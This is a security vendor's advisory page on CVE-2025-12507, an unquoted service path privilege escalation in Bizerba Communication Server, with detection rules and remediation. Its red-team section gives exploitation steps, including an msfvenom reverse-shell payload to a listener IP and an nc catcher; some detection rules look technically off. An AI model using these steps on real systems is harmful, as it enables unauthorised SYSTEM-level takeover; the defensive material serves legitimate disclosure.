CVE-2025-12507
Executive Summary
CVE-2025-12507 is a high-severity vulnerability (CVSS 8.8) affecting the Bizerba Communication Server (BCS) service. The issue stems from an unquoted service path, a classic Windows privilege escalation vector. When the BCS service is installed with a path containing spaces and not enclosed in quotes, Windows will search for the executable in a predictable order, allowing an attacker with local access to place a malicious executable in a directory that will be executed before the legitimate service binary. This can lead to privilege escalation from a low-privileged user to SYSTEM, enabling full compromise of the host.
The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using Bizerba systems in retail or industrial environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a low-privileged account.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
- Confidentiality Impact (C): High (H) – Full system compromise.
- Integrity Impact (I): High (H) – Attacker can modify system files.
- Availability Impact (A): High (H) – Attacker can disrupt service.
Threat Level: High. While local access is required, the low complexity and high impact make this a critical finding for any environment with Bizerba systems.
Deep Dive & Mechanics
The vulnerability is a classic unquoted service path (CWE-428). When a Windows service is configured with a binary path that contains spaces and is not enclosed in double quotes, the Service Control Manager (SCM) will attempt to locate the executable by parsing the path from left to right, inserting spaces as separators. For example, if the service path is:
C:\Program Files\Bizerba\BCS Service\bcs.exe
Without quotes, Windows will search in the following order:
C:\Program.exeC:\Program Files\Bizerba.exeC:\Program Files\Bizerba\BCS.exeC:\Program Files\Bizerba\BCS Service\bcs.exe
An attacker with write access to any of the earlier directories (e.g., C:\Program Files\Bizerba\) can place a malicious executable named BCS.exe (or Bizerba.exe, etc.) that will be executed with SYSTEM privileges when the service starts.
The Bizerba Communication Server (BCS) is used in retail and industrial environments for managing scales, printers, and other peripherals. The service typically runs with high privileges to communicate with hardware.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable configuration is the unquoted service path. The fix would involve quoting the service binary path in the Windows registry or service configuration.
Vulnerable (Unquoted Path):
ImagePath: C:\Program Files\Bizerba\BCS Service\bcs.exe
Patched (Quoted Path):
ImagePath: "C:\Program Files\Bizerba\BCS Service\bcs.exe"
The patched version ensures Windows interprets the entire string as a single path, preventing the search order attack.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Local access to a Windows system running Bizerba Communication Server.
- Write access to a directory in the unquoted service path (e.g.,
C:\Program Files\Bizerba\). - Ability to restart the service or wait for a system reboot.
Exploitation Steps:
Identify the vulnerable service:
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }Check write permissions:
icacls "C:\Program Files\Bizerba\"Create a malicious executable (e.g., using msfvenom or a simple reverse shell):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o BCS.exePlace the malicious executable in the writable directory:
copy BCS.exe "C:\Program Files\Bizerba\BCS.exe"Trigger the service start (requires restart or reboot):
Stop-Service BCS Start-Service BCSCatch the reverse shell on your listener:
nc -lvnp 4444
Blue Team
Detection:
- Monitor for new executable files created in
C:\Program Files\Bizerba\or similar paths. - Alert on service start/stop events (Event ID 7036) followed by unexpected process creation.
- Use Sysmon to log process creation (Event ID 1) and look for
BCS.exeorBizerba.exerunning from unexpected locations.
Prevention:
- Apply the principle of least privilege to service directories.
- Use Group Policy to enforce quoted service paths.
- Deploy application whitelisting (e.g., AppLocker) to block unauthorized executables.
Indicators of Compromise (IOCs)
- File:
C:\Program Files\Bizerba\BCS.exe(malicious) - File:
C:\Program Files\Bizerba\Bizerba.exe(malicious) - Process:
BCS.exerunning fromC:\Program Files\Bizerba\ - Registry:
HKLM\SYSTEM\CurrentControlSet\Services\BCS\ImagePathwith unquoted path - Event ID 7036: Service start/stop events for BCS service
- Event ID 1 (Sysmon): Process creation with command line containing unquoted path
Detection Engineering
YARA Rule
rule Unquoted_Service_Path_BCS {
meta:
description = "Detects unquoted service path for Bizerba Communication Server"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12507"
strings:
$s1 = "Bizerba Communication Server" nocase
$s2 = "BCS" nocase
$s3 = "C:\\Program Files\\Bizerba" nocase
condition:
all of them
}
Sigma Rule
title: Unquoted Service Path - Bizerba Communication Server
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service path for BCS service
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-12507
logsource:
product: windows
service: system
detection:
selection:
EventID: 7036
ServiceName: 'BCS'
condition: selection
falsepositives:
- Legitimate service configuration
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12507 Bizerba BCS Unquoted Service Path Exploit"; flow:to_server,established; content:"BCS"; nocase; content:"C:\\Program Files\\Bizerba"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action: Manually quote the service binary path in the registry:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\BCS" -Name ImagePath -Value '"C:\Program Files\Bizerba\BCS Service\bcs.exe"'Restart the service:
Restart-Service BCSVerify the fix:
Get-CimInstance -ClassName Win32_Service -Filter "Name='BCS'" | Select-Object PathNameLong-term: Contact Bizerba for an official patch. Monitor vendor advisories.
Compensating Controls:
- Restrict write permissions to
C:\Program Files\Bizerba\to only Administrators. - Enable Windows Defender Exploit Guard.
- Deploy endpoint detection and response (EDR) solutions.
- Restrict write permissions to
Valters IT
Securing Digital Frontiers